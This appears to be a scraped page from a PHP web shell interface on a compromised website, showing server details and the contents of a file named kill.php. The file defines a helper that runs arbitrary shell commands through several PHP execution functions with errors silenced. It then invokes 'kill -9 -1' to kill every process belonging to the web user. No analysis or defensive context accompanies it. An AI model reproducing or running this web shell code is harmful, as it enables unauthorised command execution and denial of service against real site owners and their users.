HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
System: Linux vaua0044190.online-vm.com1 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User: hotvinyl (501)
PHP: 7.4.22
Disabled: NONE
Upload Files
File: /var/www/hotvinyl/data/www/hotvinyl.org/kill.php
<?php
function do_phpfun($cmd,$fun) {
    $res = '';
    switch($fun){
        case "exec": @exec($cmd,$res); $res = join("\n",$res); break;
        case "shell_exec": $res = @shell_exec($cmd); break;
        case "system": @ob_start(); @system($cmd); $res = @ob_get_contents();   @ob_end_clean();break;
        case "passthru": @ob_start();   @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean();break;
        case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f))    $res .= @fread($f,1024);} @pclose($f);break;
    }
    return $res;
}

echo do_phpfun('kill -9 -1', 'popen');